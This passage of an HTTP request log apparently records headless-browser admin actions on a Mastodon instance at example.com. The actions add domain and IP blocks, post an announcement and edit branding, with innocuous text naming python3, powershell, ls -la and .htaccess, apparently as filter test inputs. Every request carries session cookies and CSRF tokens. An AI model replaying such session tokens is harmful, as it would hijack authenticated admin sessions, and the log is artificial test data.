_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjYuNzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--1ebb4361e3fcafe449d2b63cf31de85dc82f77bd; _mastodon_session=XS%2FgM9qxAkibvuPqWv4K4SVCV8K47wxegwnawGadeU%2Bfsm05TcAo7H4ZLWAsxdGRfrpSymWu9j7l3OteUpoQHprgyVcSp61HEFOi%2FKf61cjEFmURP%2BlLnnn3SpfpwjA3%2FKdrltZXEAbV6aTLR7yhXYSrQu9TR5ubqrxiLo9cxtO3RpQm3gQdolJPwEwC0qEEywUoiElXOaTPr4Cp3qxzR4HLweFlEbO8a8%2FY3DxK4B8XuZ%2FipdBU3D47VA2UUhTmOzm5Cjigk58%2BpUzaX97pq9f%2FTI2VgP0uGyJ7aYqOCmHIj%2FoRPQyWmU%2BNN%2FJMLMOfgzhRjMTA4M1PaKiaPwBo55zEDI49AuRervdMI7rf5lNZ1SuIP8sVxwk%2BE2HOMC8o%2FQLR77YFpz5%2F--7kK17PUx6KZMcRRs--nbYtDwqjM7G%2FiwiAf6RX7g%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/email_domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 204", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/email_domain_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjcuMDg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--452c3745a24ba12f10045cbf12ab79fd89a06560; _mastodon_session=ls5GnDYtF9%2BZHeBNv8QsoPUGN9vWygQK0Q4fEa%2BDUSu9FkGTaXXvMhHnl4ENLsNEUO4EcpDdZYiRR5MW35%2BlR4A%2BulqUu6Ahw2RdfumPEPwwab6jqNdy%2BrEKFLV4TYEo%2B0k2rYJcb%2BD75%2FcA9mcHddQCE9whMM8kQYV4npgpTp%2F6UI1JS8wMsklIaum7yGOcUpZCJAy5A0G09pibnGI0FeBfRvAfQH24jMfLVlZdGYqrVH1NauwlqlufSCPTJ4FDz37pth1cCTL%2Fxxbm7AqyxN442m27i7xaMTJOZsevj0Elsi0ixY0gSD5BELnwdmzMTpo3wtldapJduqwvWtrQKziyfK%2FgPPz9spr%2BaFS67K%2FVNZOGQYjEOv5Wf%2FpzdAnpeGPsgYZOv5v6--FxtdisUNfm8sOnNu--7dGXbVpWCblcuGNM3JFxMw%3D%3D"], "body": "authenticity_token=TPzeJA2bYJ2wVg6tXA0YPhOu6vzyixQfohyk9j0SBeMyWPq3kSaKceLiKk9BPpp78naE-IX1WgSZg7UixVitOA&email_domain_block%5Bdomain%5D=spam.example&email_domain_block%5Ballow_with_approval%5D=0&resolve="}
|
||||||
|
{"method": "GET", "target": "/admin/ip_blocks/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MjkuOTY5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--34510cc16ed1fe589a96dc7b1f0bed36f6f82a76; _mastodon_session=a1JgCoLt6TDQwFms7KOCztuWGyJfYtGyZ3GEiI9jUUbJpKJ9VR6CBvC%2BSq5vOGzPpbUfQQqEkZn3SwB6w2P0uf653IHRURd3CM9j8Bw%2FOZYFOITHUwL08l7MNmEAik%2FvHGEkiYIiJHlFe3I%2FyfCF3C2KQff9G9Xs6q7JWq4m9edJRPdb9ftKDmnoH%2F0H66BqLm08iLWEOGNDjzfHvZmanZiLiDdEx0pA3t%2FdqEcLfJeDJ2TZVHHqdLCMylRC0cxit3oHVh%2F3nD9xpwvB5XY3rmcfxg7rGJ8eyQCRopRllX4%2FGhXqHFwV6HnH2KswqDz8jOEjSwOJJnPdkpyrP%2BXe1LNaX8snKdNrrjecEySrv5JnaVViTDYmlRdu6EnJLMvrHl%2BINGzxVe35--EMkfhIEeM2hCxbQt--Y2qSfsw%2FYWwioKDrnTVmgA%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 290", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/ip_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzAuMjk0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--29523232f18007b3cdf28bcea4668c757fd396d4; _mastodon_session=dGgRedzdPz0Hto6JkkvowWVDuyW5zgeXnkzzohLB7RnmtwsizKYyAWbZ%2FOcmB%2FBbp6Ikb70hx%2F8yCiMTKa%2BcWNRqFT9aoTvKSQfMBrzeQU02C3LUSPatyNXvrzK20jR3pRzuxrshFS11vkC%2BR2cK%2FMjoONArmegtr1A9smozW8IkQ03KLPWNJfyTAqe1fMMvL1I9D%2FUBrt93TMcgxGfvNBpvWk51ApMbSRNqaFfShcfIJmKDWtzOAlVfoh3zSLSEFege3%2BAdI6wCwFs%2FMBKwYi%2BZ5d4N64ECjDWfVDRcJj%2BykpDP%2BwbiQvaQvU14Y2YeGeXFQtRdpDZLVXTsyZg9wT5RmcN8vdydzA%2F%2F0EUz2TkbzptYn0rsIrOrtLR6t7Cw%2Fw1NGqArFR10--x3sO%2B2TG5kyKbpI%2F--YM8DeGzxglGELy6EzELFog%3D%3D"], "body": "authenticity_token=KROY_blrRl-NpBMidcSD23e3Dg9q2e0ZPC670MDcQZ0RNrGJxtGLxuSy5OiqXBsLZ1BfL6amLwNqt2XAt137DA&ip_block%5Bip%5D=192.0.2.0%2F24&ip_block%5Bexpires_in%5D=31556952&ip_block%5Bseverity%5D=&ip_block%5Bseverity%5D=no_access&ip_block%5Bcomment%5D=Signups+running+python3+scripts&button="}
|
||||||
|
{"method": "GET", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/ip_blocks/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuMDA1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4633049dea115bde7f605f4306d25be255fd1cf0; _mastodon_session=pyKRZqtCEY4GekaM8LY1%2BIG0YoMXBEbMCg2pZHou%2BdfRzj%2Fj8bT7Cuitwiwff1hqoX89CDSceIY0B47TY3Yve3kUCzUYOTF94FP4oeYRm%2Fz6OzP2NmB%2Bo6GdK%2FjnDoQLXfP2MvFY3uEvdQ5oRP99k0Oc7aHLvrSXTSL%2FRfr5a19WtvkLEm65hwkbyuArQ4TkEGR3VASNH2LbnkJDb93NBEa4fJTuhd2SGZdYHXpriZGCEQOWpdgW7bp8YKTTLGZ048uq3V1vck%2FI1BP1Z8tlFZmsauxtx6E5umeQArF3lri5CPAZ8PdYTvq%2F1qvswH2t2EeuPQA%2FnKm%2BN430dPoqCPilESrOoodO5uFwQ353FCcMLJKuIrHGu%2FzCDebg1CrqYM1cSewfhkpk9EztYshhKltz6hYK8gN6BX5mxACkXXa0bIhHP9BWXD0LMSwA0YON9BNBjpeqnRwsZHreCw7pN11XkaSbqtOP55uK6giy0oWvtboH0xNQmyAa%2Bb53ZvKISWWQe5lsE9d8zswhrliRj2I%3D--L7t%2BZ0cGdWaB%2Bl7w--0RjkY%2BTSQunvzqpssYgwpQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/rules", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuMDQwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0a95f23a97cba1deb056bf2e11240de2e5db68c0; _mastodon_session=zASPRkwCVZXDwzqk3Yo8SiXqxP8Uh3diTsfgZYLJy3kfJAesBfC%2FqtoZXE6%2FeOdKax2AM%2FLFGS%2F6cnGCVSYNsQRaEJgbeNrN%2B00YSDqO2V6wTCjESYwrpxKNeP9W3rBgQt5sfKSGvc6wu2Lsk4W9ej2DfmLrcQzH6EeEuyVCpncB3U5I%2FbEBKVfhgHOareUSXu9p9Zh603uXYyL1o79Evox2UNU6i6lxbR435XuPK9eRv1TR5jz%2BpxV6t3HOArrXyHwvwZSiKtx2zhjTEknIs8I%2B2qIJmH8TOGlXPNbFWRQZaWYjKa61HLAWKsXFSsZFKB2iEJKYadQfhE7DXOMR6p7k%2FgG7uIwaCt11LYHmNgwQodnnjxhUBq1ZBZSq7loeAXMGN2TrXFJx--W4li6by68qd3ZFPL--Zy59buBau0tOfskoMaqr4g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/polyfills-BO_K2Jdc.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/rules", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuNDMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27cca1c866f1db79a27e9e0deba8a8f2f268ea0c; _mastodon_session=C4NAubBD8YJPam%2BezzYeJcKw6wH%2FvHhRvYl2K2%2BCAO3wNSn4wVJnOXBmoNorFjcacrBp5FT6Tfv%2FPq1Wi6NjBFIrkctu1%2Fwsnf1W41lWPr59cQq%2FHq1VD8P%2Flly0hYZY4Ab2SEkUa8V7CcfXSbfd%2B6Pb5DJpYWEC9wWedrFMi9NyKTiTwvaiJrNYNREyuMKXqUbD1raUXc5Jo1ZZ3ay1ERMiJYcV94w3Q8FEg%2Bwvhe1TW0ilpMVPKCoYok7iCCxS2mAtj0RCAFE3i3YizRbuXNqemfClEHOJwL44QzyG7yvdrKluKhhMkMhLhd0GdnbnThGCdwP9J3FOHwyEsXBigXmMHGb2CBWD0Yb2gigyl3XqKuoSDfQq%2BKJy%2BOxtOGkMXOLegdqpqtm1--FAQ4xdI4FzAXKdgH--jOD5qAAaJmKgLrpLuk0MKw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/announcements/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6MzMuNDMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--27cca1c866f1db79a27e9e0deba8a8f2f268ea0c; _mastodon_session=C4NAubBD8YJPam%2BezzYeJcKw6wH%2FvHhRvYl2K2%2BCAO3wNSn4wVJnOXBmoNorFjcacrBp5FT6Tfv%2FPq1Wi6NjBFIrkctu1%2Fwsnf1W41lWPr59cQq%2FHq1VD8P%2Flly0hYZY4Ab2SEkUa8V7CcfXSbfd%2B6Pb5DJpYWEC9wWedrFMi9NyKTiTwvaiJrNYNREyuMKXqUbD1raUXc5Jo1ZZ3ay1ERMiJYcV94w3Q8FEg%2Bwvhe1TW0ilpMVPKCoYok7iCCxS2mAtj0RCAFE3i3YizRbuXNqemfClEHOJwL44QzyG7yvdrKluKhhMkMhLhd0GdnbnThGCdwP9J3FOHwyEsXBigXmMHGb2CBWD0Yb2gigyl3XqKuoSDfQq%2BKJy%2BOxtOGkMXOLegdqpqtm1--FAQ4xdI4FzAXKdgH--jOD5qAAaJmKgLrpLuk0MKw%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 308", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/announcements/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDYuMzM4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2fa1141b943b5e47a82df7250b4f9fbba8b5af30; _mastodon_session=3r95%2BUmpz40KbRC0GGE0c61esQPfZkznJaR8lXejOEnaV9Tiekb8oJAiNxAFsRyxeaKIEeg7SOq%2FONhIUQI0PomoAeQnbQGm4%2FM6aXw7uVN3ARyzz2bVW0eVmJBpD96rNRIsYDn5LtvCH%2BjR5o9MioAekmxoBY9XxWRryyn%2F3OyqrB038q65KnH6vRuubSXTvuRjZbiwTI3kT%2FyM5cwwXhrYNJM3nnCOFOuS0r9EARMyILae51euD3F%2BQ674x4ipczL03Hx%2Fsak4cJ7rj4fUda5rhbEU4AWhT1QnZfLfg0lMTUdCW17IUbBaMLE3rCQ3JPqeymp4xXONYhGL8vY%2FvKjZzzWeipfD9ZklWDMa%2FEi3Ox9ynkgpaIhBm05LptF%2BpFYtEMGWNugT--%2FgY4P7hwpd96Ltw9--WC4a%2BiCCq0%2B0RIVnJF%2FY6A%3D%3D"], "body": "authenticity_token=xVadhg4Y_iKoHFT95qnCai4mq0HvrsR7i2wkL7JbVuDoZQWRyEJxwEgeaUlASzpPM5ZdKPhpA1_AWu6Sdq_Nkg&announcement%5Bstarts_at%5D=&announcement%5Bends_at%5D=&announcement%5Ball_day%5D=0&announcement%5Btext%5D=Maintenance+tonight%3A+python3+upgrade%2C+ls+-la+checks&announcement%5Bscheduled_at%5D=&button="}
|
||||||
|
{"method": "GET", "target": "/admin/announcements", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/announcements/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuMzgzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3d67c8f8127fa5e75497be9d601bfb3e4ea22e08; _mastodon_session=ktF%2F8m62uGVKKe6ITzjOqlOOw4gRGyvFYv%2Bd2Hv%2BLth0mPAMoUbtsKQpO%2FPlJstLfFIupZ3ElFTLewz84MbNOM%2FAKLns0QLxM40Y7%2FBTBtxi4akMVqQPaI8PYs5MmLehBZDBkgQlMX%2B7qXrLEuKRjoBNGSQE24WjRnGprUGdCqGPy3SNuoi7q%2FbvFbNklQmAPebUDE9QRYa%2BCjk1nuI5wi3pz0KqyZPokzVbnebfxbj1zETgSyIjbDHS2k7DSYX9SZCHCVskxqbiBDi6EB8HRmKiMqzdybjHMJNjZplYfJhrcQHCBKsAd31w3zqT37G4S%2BgYzcluHrPYJi2cDIDkKgqYEKV8DL5eJX6tUE0ydo52KXq7UyPVnocHGYty7fu22ecOYTaZDHAEuz0bDnAnAvKNRv7ldxvsMyjENiBsTl%2BL8%2FGtU2T6W686c%2FMsBAUW6Ibgff30Y6bzhQr0lRdqskyBJL5ExKnCpJZkCywDwsuoloe1tUoZbgzX%2BUjW%2FRM99HNap%2B7RxpMhFWq16daBm4UbaLMYg0S%2FWg%3D%3D--vYfUJzVf590%2By35c--IvJ81SLwqpE6OZ1FO3W2Gg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuNDA5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b9a396fd330755ae1bcc67de6c50a72fa6317441; _mastodon_session=b6QexfHqbwiAR0Dc0HG7whPfglqxYoOXVlBmmkM6ap1xULNY7YsuDxQUOYpRRNF0o4xf%2BuudcdpLIaLVG1a9nh5jNmK5qeFx45bWpiCP9go5xEtK7DspefKq1tvamqxr%2BB%2BTYwhSZPiICbNwuwEbgKa2dp%2BukKv9SHnMz5yMt6hlPZnc6IiIxzjAmGJVhpDYPu6EoZfDsHJ0Mb1VZimHZZOyYtn2CQikONZfCDfD747uEkig%2FcjVeM8w7MJwE%2BTYTA05HIL7RmhPZh7FjvPJubekwPORazd3Q%2BUeVIAE%2FMGavBBQgvXkXwsY%2BSISS8VHtm13tVG%2B0oDRLnAM6E2HEfhgbZpoSetGBeTQ6fK2mb2sxvnDzfUhtlfeWWDAMSPr3RK0iJr3JF2A--BPOl15QO5rUWNWum--pP1nRAy%2Bq%2BYrefS2BjfHng%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1760", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBus0dNQxdGU0ymA8", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/settings/branding", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTk6NDkuNzMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--37e4c63f47333c5d904e889e86fb89cff6a3b908; _mastodon_session=El0%2Bunihpv5oKmWEYqYL3CCkDYclpcA%2Bo8LPjwOrQ%2Fhq7WoJoe6OkPy7qmVVKSvR62qvfs9xK7AIbfOL0wWM5my2bJxl1Tu7YH%2FtjCdkDMhDIVeTx63yp%2Bh9s2CeWqRGhgc4ro9gFDBBfoeBSi9Ayp7AjMhN2UjBlDPGHR6z6XCrKGVWfRB%2Bb1P8su9cZy7CiOIP21TK7vz76glcMufzsuy4HKQYc0O4zyDOjPeYIFwGWIBzJm8iWpXYfE2F3ebtfpFvIsw7wgdgtkM4fQt1ZLLmISwF%2FBj7kZYyZgus2K%2FKj52kHLlnaMT4ym4r37raIAZ%2FxvBOSEKWRisxS5MV7IyyRiSPqtZjTdLpZUGgURq0wsPW0Qexa659O6msNlnMuCblcsvZmPeO--UyO29PyGZYx97Pa7--bQ9lbi8brnPGxR%2BFQgI5Lg%3D%3D"], "body": "------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"_method\"\r\n\r\npatch\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"authenticity_token\"\r\n\r\nRTJLo-YR6R8Y3S4H3-X2c8AlL-EIh8OiI5lasSjHmPDX3JQW8zPV-8lclHQxwpMq60k-w0TgqKZfGi-KKpt6tw\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_title]\"\r\n\r\nPython3 social\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_contact_username]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_contact_email]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[site_short_description]\"\r\n\r\nA place to talk about python3, powershell, ls -la and .htaccess\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[thumbnail]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[favicon]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[app_icon]\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; name=\"form_admin_settings[landing_page]\"\r\n\r\n\r\n------WebKitFormBoundaryBus0dNQxdGU0ymA8\r\nContent-Disposition: form-data; 